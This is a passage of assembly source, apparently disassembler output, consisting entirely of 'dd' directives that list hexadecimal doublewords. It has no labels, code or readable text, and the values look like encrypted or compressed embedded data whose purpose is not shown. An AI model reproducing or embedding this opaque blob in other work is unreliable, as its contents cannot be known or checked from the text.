0EA2A6FD6h, 0EA2ACD02h dd 4DA02F7Bh, 0B1551655h, 0CDCEAC0h, 4A56B369h, 0C5832AD0h dd 0AC2B758h, 99420E12h, 4657B4FEh, 0CC4320B3h, 0E6A1D9E8h dd 443C677Ch, 0A40BF5D4h, 39917D11h, 846F3BD3h, 1DEC6BD2h dd 6291E26Ch, 0F0C98E5Ch, 8FC68B60h, 0E9B143F8h, 97FC9363h dd 0A873F455h, 855CED3Ch, 0BA63ACDCh, 5929A00h, 197121h dd 0D41A9759h, 0EBBB700Eh, 0A0488CFDh, 1F2930B1h, 0D1CE561h dd 0E47948B4h, 2847A423h, 0CFA48409h, 95B2612Bh, 0B0C6A0C0h dd 4ED109C3h, 36D93174h, 0AEF33CD0h, 0A70859BEh, 83F415DDh dd 98D5ACA0h, 4C9C8222h, 0B995F678h, 0AFA56842h, 13CCC6FAh dd 0F15545F6h, 6A36BABFh, 5C54F2E4h, 8B2BCABAh, 0CFE25FC0h dd 4CDE1C92h, 50345843h, 0D6A747ACh, 404D91Eh, 0FBD1C2B3h dd 0AB445780h, 3D550C00h, 0BC057C8Ch, 1E21BF29h, 0B0CF554h dd 5B917757h, 0FA8CFA9Fh, 3A630422h, 0C96094F6h, 0ADB972D1h dd 0BD56928Fh, 0CA33B70Fh, 0D4735475h, 2FB69F87h, 47752A7Eh dd 0A72B447Ah, 0E7DE8ADAh, 3F61BA0Bh, 0BACCB9BDh, 964E1F1Dh dd 0DECF5554h, 0D6EF5927h, 56C6AE44h, 0CF4538C1h, 682EBC2Eh dd 0A15C5BFFh, 43934EE9h, 2D1C8D1h, 769A0541h, 0B947042h dd 0D14B96CDh, 859247AEh dd 0E82B4591h, 0E26EE6F5h, 721E06CAh, 0E88E5511h, 0E72526Ch dd 34248A2h, 5451294Bh, 0A049407h, 2B45CCD7h, 490C0459h dd 10143187h, 0BE6847AAh, 0C274E883h, 0D2957288h, 4848823h dd 28FEC936h, 0D8137D86h, 89234A08h, 9928C610h, 22C4717h dd 43B104B2h, 0B489AEE6h, 2D9246AEh, 0A9388278h, 93AA0555h dd 1F7A0794h, 1E07F6F1h, 69018673h, 8F60B8E3h, 0D5AD33DAh dd 0A065F4A7h, 77E75366h, 0B34EF89Ch, 5EDF8BD6h, 61796318h dd 8D0CCC2Fh, 0C07F0FF2h, 0E06D2262h, 960683E8h, 4D2A6F32h dd 4F1A93Eh, 0B84567ADh, 343243C5h, 6E3817FAh, 0DCACF00h dd 4FF6C1B8h, 0BB0232DBh, 94E1D3E4h, 8F5259B4h, 594AD4Bh dd 0B93E8963h, 91E7771Bh, 908D7AE2h, 44316ECEh, 39140BFAh dd 6D1F7FE1h, 72A8F5C5h, 97B6852Ch, 96354935h, 22E0BB1h dd 61821E0Dh, 30070607h, 8A21CCEBh, 8128782Ah, 8B48A8C2h dd 0BA9A9D41h, 0BDBA21Bh, 0A33D050Ah, 69FD67CDh, 0A7BCE4D2h dd 0D1CB4401h, 1D2E8F51h, 0D97D87F1h, 0EA010613h, 0DE4E6750h dd 0C69990CBh, 0D3A502A6h, 0C8A44C27h, 8998FC7Bh, 8085C3FAh dd 14B5FE22h, 4C16E8B9h, 0B3DEFBA1h, 0A7BC3E88h, 368D4E05h dd 9B688D90h, 8EBA9C30h, 0EF233F89h, 0DE4404D9h, 5FCA02B3h dd 0D3DD21Ah, 17F75364h, 0FD3E4FEh, 0B47BBC9Fh, 0D11EABDFh dd 4359C934h, 3AFCF233h, 0BCFDEF27h, 0BD997F47h, 62A7EB96h dd 0BBAC660Bh, 81A8090Fh, 60688871h, 0F1BAF68Ah, 40B2A99Ah dd 26F41733h, 70510952h, 65BF9145h, 5AE3C142h, 7F6C0B97h dd 4CA4DE44h, 45146330h, 4E62A9D1h, 9D3A8501h, 3A21A46h dd 6653A674h, 60786BEAh, 9E20D70Ch, 369AC0E1h, 7DB00D5Ah dd 0E9BF064Dh, 484150D4h, 32536AEAh, 798A7DD2h, 900F1758h dd 0F30AA3Ah, 8AD6D50Fh, 4C8B4D34h, 26260717h, 2299B35Bh dd 9B1C55F9h, 0ED83EBA9h, 0E8ED2BA4h, 2AC50DFEh, 238A811Ah dd 26D734CCh, 0C0ACD4D8h, 99B36F43h, 5CBAC2ADh, 44559944h dd 3098C42Dh, 0FDD314AAh, 6DCAC833h, 7B181C45h, 0E5F78B78h dd 48FDA74Dh, 0D30934E9h, 0BA822200h, 0DA03988Bh, 7D2DD404h dd 446029D6h, 4FE8194Ch, 0C9C6E23Fh, 0C2798BF8h, 30781E28h dd 397A876Bh, 1B98C233h, 9D574A0h, 439848Ah, 30B0A28Ah dd 4145B5DBh, 0CF81C031h, 0B4619EECh, 0AE11F613h, 1A75C3BCh dd 3826A348h, 0A3E9ECCBh, 4230E609h, 9A28164Ch, 466B273Fh dd 0FE4308DFh, 0C2449445h, 0CA304034h, 0F4677D19h, 45106D59h dd 0BF7AA0FBh, 8A639024h, 521101Eh, 0CAC242A8h, 0D291015h dd 20459116h, 17C280B2h, 799795DAh, 50796C97h, 0D4CC4F1Dh dd 0C46E5F19h, 72F56767h, 1B881D5Fh, 0D37A4E11h, 63701B3h dd 0C084FD8Bh, 0E3E4C86Bh, 25005585h, 0C7A3602h, 4D98F8F9h dd 90C489F8h, 8F901E8Fh, 9B16642Bh, 5C1AC787h, 332D036Ch dd 0F69BF5Ch, 0C1D16467h, 0F86A2553h, 0E5C7C510h, 430926DDh dd 157639AEh, 13D8B9B5h, 24F20F0Eh, 0FED00D0Ch, 195D5579h dd 155D0F21h, 85B8C6E5h, 0EAC94599h, 0D33B03CAh, 1BF0F45Fh dd 900644D6h, 0AB5A3134h, 20972054h, 4EFC2E8Ah, 8C18276Ch dd 8CBE8B26h, 14E2028h, 0FF11C6BEh, 0CCCBA130h, 31347A3Fh dd 9D867464h, 230075DBh, 3BF2930Ch, 0B907D85Eh, 975A0284h dd 11421B7Ah, 2AF6B06h, 58C31867h, 4130197Ah, 0C04A050Ah dd 0AE682A0Eh, 0A45D65C8h, 7181065Dh, 0EBB4839Eh, 989BB603h dd 5698B065h, 9839D304h, 41562687h, 98E6E28Ah, 0D0B63B4Ch dd 5BC30BB8h, 93A3B951h, 84B59B56h, 0AC28585Ch, 0EFD24D67h dd 2BF97B08h, 7F3B870Ah, 0D298FBC5h, 0BB0048A4h, 29032A5Eh dd 7810A120h, 223B9BFh, 4490238Eh, 0DA40BBD9h, 0EBEC0A71h dd 0FA8942FAh, 929F1B53h, 0B7594B60h, 0DEBDE425h, 0FC7CCB0Fh dd 0EEBF5FE4h, 46972DD1h, 605B3071h, 82868ECEh, 0F5A707Eh dd 12E7FF9Fh, 0A8C9AE58h, 0E1396F6Ch, 0E525C687h, 50D20FB2h dd 4600DC7h, 21E0600Fh, 679A0D44h, 0D445F02Ah, 74E5498Dh dd 9A6A1C69h, 5631B1A1h, 62AE03BDh, 2DC53982h, 41005756h dd 0C3D4A68Ch, 0A6079248h, 0CDC68A06h, 4A66F8A8h, 0A8D419A1h dd 0A31A2BF8h, 93BA9A5Ah, 1D2311B1h, 64313406h, 0B07303DCh dd 922924C0h, 5B3900D9h, 0D5B90C6Dh, 7B181E66h, 21603159h dd 622E862Ah, 46EA1E6Dh, 0C8BCB9BFh, 0E72A62EAh, 94DD2539h dd 0B94EFD8Ch, 34B2B2D6h, 25A24E60h, 3D564663h, 3160E0A8h dd 85290E0Eh, 0C80C7680h, 8AADDEEAh, 12C25BA7h, 72711152h dd 0E9765BD7h, 7B0B52B2h, 54EFA097h, 32890454h, 8525A29Bh dd 5839016Eh, 0C901BAD1h, 0D949E602h, 440E3C2Dh, 0C4E50AB8h dd 3E54A542h, 0B4EF640Bh, 57C854E3h, 254E0A09h, 4EB23B1Dh dd 0F448004h, 27F32D9Ah, 0B719130Ch, 0A363A2C9h, 25D04574h dd 177CFE77h, 0E180185Dh, 0DEAE8226h, 0A132E5E3h, 7D39F1C3h dd 0F37975DBh, 54F2B584h, 279EEE52h, 0C96FDC7h, 14B0A470h dd 869CED02h, 0E6806D37h, 1880D3F5h, 34B3B465h, 2CF2F5D2h dd 0F40F8518h, 21ECFBCCh, 0DF98E22h, 5E822774h, 0C06A08D8h dd 0CAA84A06h, 94E7AFCh, 56C12666h, 4BAD48F3h, 9143520h dd 2639F1C6h, 0BE540554h, 0A3948260h, 7B9A183Eh, 0E970C6B8h dd 394C80CAh, 6ACA9848h, 403E5183h, 3E02A81Bh, 82D58184h dd 2403C0D1h, 199B0D5Fh, 0EF35470h, 0C6AD2D1Fh, 4289CCF1h dd 4D0365F3h, 1FE3B857h, 3DCB8C9Ch, 0C349A25Bh, 358B96Bh dd 4347839Eh, 0E50839E3h, 4825CEECh, 75C3B530h, 4F8F3446h dd 0A80AE630h, 0D2383755h, 0B595BD4Dh, 0BDB7C36Dh, 0C1CF955Ch dd 5DF8AE30h, 7C5F9B8Dh, 0C583FEB5h, 34DA6326h, 5644F2B1h dd 0EA307B9Dh, 77A02874h, 6570F60h, 359D3580h, 196DF32Eh dd 0D490B70Dh, 0BBAA36Eh, 66ABDD63h, 920B38D1h, 65D505DEh dd 1B617B15h, 71A0AAD9h, 2388AA87h, 4259358Ah, 0DF73C243h dd 0BE5A836Bh, 257849E3h, 2CBFB144h, 0DC5DB660h, 28EFB5DAh dd 0C071FDE9h, 615CFBF0h, 0A2E049A4h, 3E240D35h, 2AFEFBCAh dd 4D1DAAB1h, 82B33EA7h, 0C04AF3E7h, 0D25F175Fh, 3C7F2BB5h dd 77D6C0ABh, 3B613D7Dh, 0F5CE52ABh, 380D4524h, 494D1808h dd 2EE10501h, 1738EBF2h, 0B67C47C3h, 1409A81Ah, 0EAA0C063h dd 0BD7D58A5h, 7FA84829h, 2D6BE7DCh, 15CDAAB3h, 0B5EEE948h dd 0CEC854F0h, 0AA929624h, 9AABD9F5h, 996883C2h, 0AABB29Dh dd 0F3EBDF83h, 5F453988h, 0E0815638h, 3E636B83h, 8FB52AE9h dd 0ABDABFF6h, 2252EE8Eh, 60891703h, 4FFE8AC7h, 7D6998AAh dd 290C15C8h, 387ABA62h, 56813DC6h, 5E0B4113h, 7F2023B3h dd 6050831Bh, 0E48DC8E0h, 63518D4h, 0C8A11663h, 31CA998h dd 0EF1CB7D5h, 61544AF3h, 0B39F1A43h, 0A0EAC035h, 6FA671E8h dd 8D8832B1h, 0F25329B7h, 33FE80BEh, 986298D5h, 8C8BC194h dd 75901969h, 0F4865221h, 78AC3EB3h, 0CC384058h, 58503D37h dd 3C1F413Ah, 784C6661h, 31AFC88Ah, 84F1C2CCh, 0A9BDD204h dd 31A115A3h, 1977EBAFh, 0C44E833h, 2BCC19E2h, 4BCBFD84h dd 0ED597451h, 61B35EEBh, 7C9567D4h, 0D4E5B2C5h, 9E7622CDh dd 8E509660h, 96BBDD94h, 0C6CE45F7h, 756AE665h, 8BA8866Ah dd 6063BE36h, 0EC8B59D3h, 2B0BD597h, 0EA13041h, 0ACD3A139h dd 0B8AA44F5h, 50364C13h, 2B5831B0h, 4B83B544h, 40A5A847h dd 0CBF9882Bh, 79365D7Eh dd 0E8C29617h, 0D852A4CCh, 0F60F62A1h, 0B940F748h, 6FFEF361h dd 531CCB7Ah, 58AC1237h, 16116C3h, 5A314877h, 0EF2F2E01h dd 1AECAEE2h, 9A815464h, 0FCC8691Eh, 0B269B62Fh, 701B50E6h dd 0F132AA81h, 8B464416h, 90FC156Ah, 5D949721h, 0C5116E5Dh dd 0DDAFF9FCh, 3991964Ch, 0FE40FC0Fh, 4CC815FBh, 6A390BBh dd 90E82156h, 0A091EF35h, 3A1A564Ah, 0F6E31616h, 8619E83Eh dd 0C021265Ch, 383E0FBDh, 1B928C24h, 47182813h, 0DA265C2h dd 0AFBC2441h, 3A908DE9h, 8CDB665Bh, 5D191471h, 24D8CA8h dd 0D334F1FDh, 7C46196Dh, 2A9C7AFDh, 0BBC56CABh, 0D8C1452Fh dd 0D7247733h, 54A3872Fh, 115D515Eh, 8F70AA03h, 0EC0B441Bh dd 65DFD19Eh, 3436C680h, 52900FFBh, 94BBBE9Ch, 3813CC9Ch dd 0E5A97327h, 37F6648h, 0F81A77C7h, 25F7EAAh, 0A6F5C089h dd 11185EC5h, 0EA6F21F7h, 7E9B04CBh, 9428E62Bh, 0A3035D7h dd 0CE3F7290h, 4429C65Eh, 0D0575628h, 0ACB3C153h, 1F9F15D0h dd 40CEC19Ah, 26E4E80Ah, 0EFE450B4h, 0D8F0CEB7h, 0E64DAC60h dd 4D25DFB4h, 3AF72B30h, 0EB6C48E3h, 813D18ADh, 191D25Fh dd 8133C723h, 357C97B3h, 1594B9C0h, 660DF78h, 976A7526h dd 20960AE1h, 5C88A4CAh, 17410EC0h, 0B5B20FC5h, 0B842573Ah dd 0C6C1880Eh, 0BA0234E0h, 1827382Bh, 0E1A0E3ACh, 260C685Ch dd 88705F14h, 8E436610h, 92767D06h, 26B07D2h, 3FC406A3h dd 826500Ah, 9D3927FEh, 0D903B5D5h, 50716855h, 0EFDD185h dd 3851502Bh, 0E1A35186h, 1C14A2CAh, 82B5BF0Ah, 6660F4A1h dd 7E68AA9Ah, 78DFB728h, 0CB38C369h, 90BA357Bh, 5C6EDB84h dd 2E534296h, 5D670A50h, 6BAC5184h, 873C7417h, 61C9779h dd 0A160E14h, 3D7C8DE6h, 0E30D85E5h, 5CB05642h, 220C9E50h dd 2E053250h, 3FB6D448h, 0A1A4036h, 47000123h, 2D53F38Ch dd 7099B063h, 8B9FAC3h, 0D6A4BA29h, 532DCD95h, 7998CBE6h dd 3AD52A15h, 45824C61h, 11FD3826h, 7E1FB309h, 0A5F1B6A0h dd 5AA12277h, 0AD0E61D7h, 0B85D013Eh, 31498074h, 0CEA7189Fh dd 54DA5A20h, 48D0219h, 2B284C1Eh, 83C7FF3Ch, 0ED23D948h dd 0B9D96594h, 0D7B48E5Ch, 0ABD59776h, 0BB8C1302h, 18116943h dd 324C169Ah, 0B06FF6Ah, 2390196Ah, 0AC8E9EDAh, 0E09C24F3h dd 41B616F5h, 0A2EC71E5h, 992A4D8Dh, 913C19B0h, 0CEB91AFAh dd 0BBB51F6h, 0E804FBBFh, 0DE1D33B3h, 1BABF0C5h, 0BF445F89h dd 0F0BE68EFh, 3F14C963h, 480D0C0Ch, 6AEB58D8h, 383EE349h dd 2697B667h, 0E0630838h, 55CF49Fh, 1B70E9EBh, 757D0259h dd 887CD0B8h, 6DF81136h, 7EFE12ABh, 5D03FE83h, 9A14FACh dd 1AE2A218h, 5809D784h, 0CF428A1Ah, 0F844A46Ch, 0F44BE1D5h dd 9049DC21h, 2307B770h, 134317C0h, 8E14444h, 60D1AF72h dd 480C21F0h, 0C44D235Dh, 84BD1D5Fh, 0E9E6E21Fh, 7445DCEDh dd 3AFDBC60h, 35F8134h, 7674C08Fh, 13350A51h, 0E7D52E70h dd 1374F0FBh, 264A1532h, 7A3BF6E2h, 9D0EB8D8h, 89ED33B1h dd 89D1642Dh, 8454C84Ch, 53DBA61Ah, 4B2BC868h, 0A2A69898h dd 9EDD46FEh, 0C66343ACh, 454C04CEh, 3DBA0169h, 0FFBD8C7Dh dd 2A64899Ah, 0EDD810D2h, 0D6D76A89h, 33A34CD8h, 44F6D13Ch dd 6FBACC89h, 4A2AEE26h, 0C9EDF5CCh, 91446477h, 0B454E04Ch dd 4F6F7216h, 4EE3C91Ah, 0A2A62266h, 9EDE98FEh, 0CFA94A78h dd 1D438C6Fh, 9153D543h, 4F6FBCE9h, 86112571h, 0A2A66264h dd 9B7CB4A4h, 0C5D44B4Ch, 0FC4A195Ch, 8F7DB33Dh, 0A415C525h dd 0A6DF99D0h, 317514F8h, 7C124657h, 0C9F00FDAh, 0A425A06Ch dd 274D19D0h, 0AE623B27h, 0D3E8BF0Ch, 0B55EED96h, 0A1489546h dd 4EB89333h, 1B2C7276h, 273D9B7Fh, 55C7C5D6h, 4DFDF84Bh dd 0F674DB7Ah, 3B27F9BFh, 6E222451h, 212F904Fh, 0A64F6576h dd 0DD84EB22h, 5289B29Eh, 4CA4CA9Ch, 0BD890245h, 36873D3Dh dd 994A981Fh, 7013B08Ah, 0BE9F227Bh, 0A45391Fh, 97849DBAh dd 267913B2h, 190AF6EAh, 0B27B9BEh, 0E3DF2A65h, 0A1D6B287h dd 0F86CD7A9h, 0FBA783CDh, 330FE856h, 9845B6F1h, 0B13D0DEAh dd 9ED84CACh, 0E22ABA09h, 9EDA568h, 82FA656Ch, 6961E44Ch dd 995D4392h, 6E1B6747h, 747E4A7Bh, 2A65A187h, 0EDCCFFE2h dd 0C0AD7BE9h, 54CB4CECh, 0DBC0F674h, 0A64A4513h, 0A65A998Ah dd 14998BA2h, 4641909Bh, 1CA18121h, 5FF4A28Bh, 9D964E7Fh dd 14995208h, 539B329Bh, 7ED86DBh, 0B369E096h, 765B71C3h dd 1499485Ah, 98B56E9Bh, 1CED86DAh, 88332456h, 2A6CB514h dd 283A4D4Fh, 0FBFC964h, 8432CA0Ah, 707866F6h, 3B2F71E5h dd 63E6A45Dh, 89EA1166h, 1153D132h, 47CEDF69h, 0A79F2F57h dd 0A2A60266h, 8F9CDEA5h, 852F5F06h, 454CC4CAh, 1F3B77F6h dd 0CB86BEC5h, 0BE660D98h, 751FF37Fh, 9C6B62B7h, 508A3C89h dd 1A3EF66Eh, 3F529989h, 0A9156C13h, 0F47C7D0Fh, 61663314h dd 0A22ADE26h, 0A8F91EFEh, 82C7662Fh, 4454C84Ch, 51F37110h dd 39E8CC6Ah, 0A2B7A899h, 3C091AECh, 0CF6FBD1Fh, 99989E5Ch dd 7B13CC8Ah, 3451DA3Eh, 0CCD20DDFh, 7099F454h, 6B3851F3h dd 99BA65ABh, 5CD88A9h, 17C8A6DFh, 437A5C66h, 14A70F65h dd 4193D449h, 0F582E88Ah, 3194B33Bh, 2731FB07h, 97FF4FC2h dd 68A49B19h, 0FA26CAA8h, 0E6322914h, 4473DF80h, 314889FCh dd 794D6A77h, 0F4E69E4h, 160A5A29h, 0C651CD4Ah, 9C46EC1Ch dd 0E7413E08h, 22917264h, 0D56D93FEh, 99C54ECh, 6ECA3D3Ch dd 0AD1A3ACDh, 13328A99h, 663D7A6Fh, 5D845CC8h, 3971533h dd 0FFFBF47Bh, 3370D2DEh, 0DA263915h, 0A570C4F4h, 9B9F746Bh dd 0E4CAA8A9h, 516FA7A1h, 0DE1D7DFBh, 899E454Ch, 0B3FC3D3Dh dd 0BDE20F34h, 4C8A8A99h, 68D17A19h, 9E9E50CAh, 0C465BE0h dd 454C44CDh, 3D38114Eh, 2BF5E48Dh, 8A990998h, 7A774FEEh dd 0BF29CB5Ah, 15331326h, 0F4DCD6F5h, 0FA5D9A04h, 2A67266Eh dd 0E9D47952h, 0F4F03A89h, 54CE4CC8h, 65C1DEB4h, 1043C1D3h dd 2B8218E9h, 0DB5827E0h, 27608655h, 37D8BFBh, 504A3D29h dd 310F4C3Ah, 0E41501FCh, 0AF188232h, 353ED4A0h, 96951F0h dd 0F8605D0h, 47C0301Eh, 211010F8h, 0A1183E81h, 8AA8478Bh dd 315E4412h, 0B0EDD041h, 94E7BD3Bh, 0ECBB657Dh, 7222C15Dh dd 5C342BECh, 6D55B247h, 214916C7h, 22A90475h, 3EBC2004h dd 881F5D1h, 0D4992787h, 0A83E7C71h, 0C14A8EDh, 7C3010FEh dd 221857A0h, 22702AB8h, 89C44BAh, 371D912Fh, 0A2DC6614h dd 554A16E2h, 8A614451h, 0BD183E34h, 536E8A30h, 98185A8Ch dd 1F925F4Ch, 18C3C744h, 94747498h, 0C543457Fh, 0FF9818h dd 2A7C8DFh, 0E0C42026h, 90679381h, 1CEF5747h, 21AC8474h dd 0AC600C48h, 7C5E50A3h, 65E840D2h, 0D98EB8BEh, 0BA56BB24h dd 67D2A8D7h, 0CA91DD42h, 0B77C36AAh, 0C2DFB581h, 0EC3BC2ACh dd 4B98183Ah, 7046CBE8h, 0D6C444EDh, 80A229Bh, 0D517B07Eh dd 0A541BA81h, 0B01C5C2Fh, 0D1E754B3h, 3B23C0EEh, 0EDDE6A42h dd 0F14A80Bh, 0ED7A6764h, 0A62D2D1Dh, 0C576FB8Ah, 55812101h dd 9EA48D05h, 0AB8E03EEh, 0F0275D8h, 0E71FBB15h, 4D57EB8Bh dd 419FC475h, 1A5053C5h, 5EF67067h, 0D2041E14h, 3A61B2BEh dd 227D5193h, 8EB332EDh, 0B7DF7121h, 0FAFB8398h, 0DD4C48Ah dd 0AE980AEBh, 0F22D7CF8h, 0A43604D0h, 0F77C0D55h, 0EBB4ABC5h dd 7F8BF828h, 0A1E40130h dd 49A3FDF9h, 0F1E8ED5Dh, 0CF30F485h, 0EB62E3E4h, 0C4E742AEh dd 0AF6EBB96h, 0B5788922h, 0AA452F11h, 0A77D6396h, 4F9FA361h dd 0F2EFC70Bh, 609C5CAEh, 0A99F95B4h, 6E9EBFA0h, 0E7B1BFD6h dd 5860AEF2h, 0AEF29E47h, 507B8124h, 8948E52Dh, 0A0B446A1h dd 0E3B1FDF1h, 16046774h, 8708AE31h, 567F9FFDh, 0EF218915h dd 0BA89F9B5h, 0ED820C4h, 0FE972475h, 0A18BC6A8h, 0F618FFh dd 3560D26h, 0BEC6077Ah, 6BD8816Dh, 57069DC6h, 9DBDD05Eh dd 542AA3A8h, 0D42B7CDBh, 77E1D1A0h, 0A815E342h, 0B78F396h dd 8AEA3E0h, 0B307A4DAh, 98588743h, 1B8CC2E3h, 16FF7B1h dd 42ED9F79h, 6E72949Bh, 0F3401944h, 7CCD69B8h, 0C1DEDF46h dd 69343455h, 5A0F621Ah, 40E9A08Ch, 98CFA261h, 7982DEC0h dd 6CC4A30Dh, 0AA89C3B3h, 0A861813Dh, 113A6837h, 20C267A5h dd 28F4404Fh, 98A69F2Dh, 0BED08139h, 3781B18Ah, 0C23B4616h dd 75AB1DEEh, 552BDDC4h, 6B460CD9h, 683209D0h, 8ABED115h dd 552D7421h, 58CA9086h, 445BBC47h, 0A2AF2A90h, 8B3B888Eh dd 0C2C1051h, 528D9035h, 0C631C304h, 0D44E2961h, 5A146A40h dd 0EF066019h, 9A90A94Fh, 66271986h, 0F31150A2h, 30B2428Eh dd 2C085685h, 9318995Ah, 8653AB4Ch, 60FD1E01h, 3248E88Ah dd 0B36C19C3h, 0C1FEB81Eh, 5C811033h, 4B2CB2CDh, 84B57AE3h dd 8A2C3596h, 9F563220h, 0CBFCBF7Dh, 510B0EE2h, 33F5FA7Fh dd 242D9745h, 0F5ABDB46h, 0BA22AA1Ah, 61168A8Fh, 0D9912230h dd 0D8D9FA7Dh, 80EA2ABh, 0B89E6B4Eh, 1311A113h, 521FE779h dd 0ADA8B04Fh, 0B21ABE5Fh, 70CED7C0h, 103B574h, 926EA5B9h dd 0E506F945h, 8B5BED53h, 0C0CD26C5h, 0BBB5A5AAh, 52D3C187h dd 4CD7A155h, 0DC434336h, 0A6CDF79Fh, 564BC5A0h, 7D846DFh dd 8AA54F0Ah, 6D829943h, 88518617h, 79C64229h, 0EACF46F3h dd 7D56EDA3h, 47712E87h, 2DEAFF3Ch, 7C06481h, 3160823Bh dd 9861B054h, 0EBEE56A3h, 21B43A67h, 7DDC0EDAh, 80544B9h dd 3B6828EDh, 5C9BBBF2h, 138D91DBh, 4934482Dh, 0A0649A27h dd 0A34AB45Ah, 51F4598Ah, 0EF987E57h, 0D2BF8EFDh, 85754AECh dd 7488AEB0h, 0A08DAFA9h, 24513051h, 0CD133239h, 47B74AE6h dd 46B369EFh, 853506A5h, 9022DB66h, 0AF8242D1h, 1AA53453h dd 0FA12CB87h, 324AF488h, 4D2EB5DDh, 0F0030851h, 0E00013E8h dd 3DE80099h, 2FB103D8h, 73070D44h, 8216F687h, 0F5F246B6h dd 7911C3C6h, 44D3DA2Fh, 22CAAC5Fh, 0E5E29D04h, 220EA519h dd 0E9C2A007h, 5CB9FE28h, 0B08ABCF5h, 0B2D7C79Ch, 0ABCBBE0Fh dd 11DDC082h, 2BD7DCC0h, 9DA0AE93h, 0CDFED369h, 57279607h dd 0F305EB35h, 0C2386B81h, 0BB20456Fh, 59504E9Ch, 0D88AD8A8h dd 0AF9198D5h, 1A2FC1h, 0C2B050CFh, 0AC228848h, 0EA303057h dd 85EE05EBh, 491D2CD0h, 0DB2AE518h, 4415003Eh, 511A9DF6h dd 0C7B24C86h, 4562AD4Bh, 2E968AE9h, 3BF0C492h, 0D48E323Bh dd 0BE8132Bh, 0A53B6867h, 40A3914Eh, 0AB442FA2h, 197FFF37h dd 0CFCD4A5h, 0B937A94Ch, 36D5845h, 0FF80983Fh, 0C503D5BDh dd 0BB9FF47Fh, 61BE974Bh, 9FF9F140h, 0E3FF680Fh, 2FB1A66Fh dd 0A4B42A0Bh, 0EE91EE8Dh, 147FEC0Ch, 17D1C61Dh, 308E1B3h dd 0C0FA01Ch, 3657E933h, 43306631h, 8ABBC639h, 8385622h dd 8719EB0Bh, 53D0B68Dh, 1AC3F87Eh, 90C63F1Ah, 3AADF0FDh dd 1D5D03CBh, 0BFCC2C70h, 0BF9958ABh, 11274F38h, 0D38F2B7Fh dd 0E8FEE8DFh, 317BE980h, 0C23948C0h, 37B45255h, 0DE15157Ah dd 2E763C25h, 52AE19FFh, 13A96156h, 0C49E687Eh, 1DB10722h dd 44F09ED6h, 85CDFB3h, 7C043F66h, 35D3BB36h, 5573C494h dd 671953B9h, 56D1EECDh, 92C55D87h, 0C65D4ADFh, 4C36BB01h dd 8FCA114Ch, 409FC162h, 0BB4F9BDEh, 0DA4C2E8Ch, 0D718C1A5h dd 9F6460Bh, 5F259C05h, 0A95C2C71h, 0C65D2401h, 290E1741h dd 5A33A0A5h, 6DA2D316h, 68BA0CB7h, 0FF1A3E9Bh, 8DCBA9A1h dd 318878D4h, 7DB96175h, 0A38BF52Dh, 113633FFh, 936D0C16h dd 343FD1C9h, 0E77C1CD5h, 0FCB74345h, 9D95C691h, 0D32F2D1Dh dd 0BB454661h, 0A73208F1h, 7D36C186h, 95BD09E6h, 596AD6B1h dd 0E64F6461h, 0A692E279h, 0D5443EA9h, 9B69069Bh, 0B692DA90h dd 194D2789h, 6D34969Bh, 49E6E9E2h, 0D7A64F32h, 36908536h dd 53CFF4A1h, 0A5822785h, 511CBA69h, 3D4AA6F4h, 0FE8587E1h dd 18074F28h, 9C447B75h, 67413809h, 38CFCE42h, 1D7F107Fh dd 9D9DF2BBh, 8C5D7h, 72133183h, 156D4F27h, 27AC9833h dd 0DE8A6055h, 8837FE2Eh, 68FACF8Ch, 1089CF27h, 81F447F3h dd 0EACA81F0h, 0A0CF2F82h, 0B2AE425Ah, 2B3EF4FAh, 69B60233h dd 9A69697Dh, 0BDF497F4h, 6F6A109h, 1CF5E2B2h, 0E910B925h dd 0BE29CDC7h, 0BAF0BAA9h, 8FD2A9DCh, 8387149Bh, 9BC3AA80h dd 48BCFA3h, 0E981A8A3h, 3D678FFCh, 93182568h, 0B649040Bh dd 3CEEB69h, 0FB73D106h, 0BA690B18h, 0A5D4D378h, 43A67180h dd 9B69E2B2h, 0A1F99E18h, 0BBD3E369h, 0E6CC4A78h, 0A61DEF32h dd 0D221D6ACh, 0C694DB4Fh, 64F572E9h, 8C5D56DCh, 89B17B58h dd 608B15B5h, 0B8C9F47Bh, 60883048h, 0F8CE831h, 0F45514CDh dd 80F77479h, 63A331A5h, 14365103h, 68BC43F1h, 63058BBDh dd 0C242C072h, 0D32B0h, 0B1F4DA85h, 3315B509h, 8933F4A6h dd 0A32CA3F3h, 9A5415F6h, 9E33C2D3h, 4B41DB66h, 0BF3806A8h dd 66A92EACh, 3FC94A31h, 189EEF4Fh, 368CA6A6h, 0FD1E5AA0h dd 3035C7ADh, 0CFA2DE5Ah, 1B50AE9h, 2F52C2FBh, 0E895A290h dd 19B602CAh, 8DEBE8EBh, 0A8A8A6C4h, 0C545A993h, 0CB442529h dd 9DB5AE93h, 0DB533189h, 0B4A93884h, 8C1974Dh, 44F3E5A2h dd 7853E39Ch, 0B177A69Bh, 0BEBEC603h, 6165BBB2h, 3BA37C1Ch dd 0CDEB6299h, 2F6C96F2h, 0A3A86AF7h, 9FA02F3Bh, 0D1ADB2CFh dd 34746C2Ch, 0CAAF0BFAh, 3F597638h, 6185254Bh, 65570D74h dd 980EB99Ch, 9987948Dh, 9C69E632h, 0CB8AD519h, 0B3129312h dd 213DFC3Eh, 54A8CEF7h, 8C4E1526h, 0F3995A37h, 0AEB37CAAh dd 0CC4DCC4Eh, 4747FCF7h, 0B6E479B8h, 80F5D49Ah, 9FEC3AB0h dd 0FB70011Dh, 9A16C367h, 0F3E0F1F5h, 814187E0h, 5D75B2BEh dd 0D485E8FCh, 0AE697697h, 91478BAh, 0B11A571Eh, 362EBE3Eh dd 0ABE8B2FAh, 2D545D2Ch, 34A443E1h, 62E8218Ah, 37D6B819h dd 47C07BD1h, 61EB330Fh, 38A45237h, 4F95D8B8h, 9CEF5290h dd 0FA234EF2h, 1F75F925h, 5185517Dh, 43C54D6Dh, 0C60A945Fh dd 0D21AB57Fh, 19129D97h, 5E0EEEE7h, 7DED88EAh, 0AE5F2BD0h dd 45F47D68h, 5FA9485Dh, 891A82D9h, 0A2BCB009h, 0DC46912Fh dd 0C7BA9689h, 0F45D82ABh, 492DD0C5h, 0D0021C5Fh, 0AD3F4712h dd 2F8B34EFh, 631FF2FAh, 32ADCCC0h, 0DE9703EFh, 0A54A510Ah dd 722BE9F8h, 5C8862BBh, 0D125D364h, 5A2B71D7h, 0ABB5CFEh dd 341231DAh, 0A82B73FAh, 0B6A36B21h, 0CEB3E52Ch, 0FF53F88Eh dd 0A5E9C8F2h, 8CAACA3Bh, 0F8286A3Fh, 0AF036DB3h, 0D42AA72Ch dd 9E020A3Ah, 5C281F3Ah, 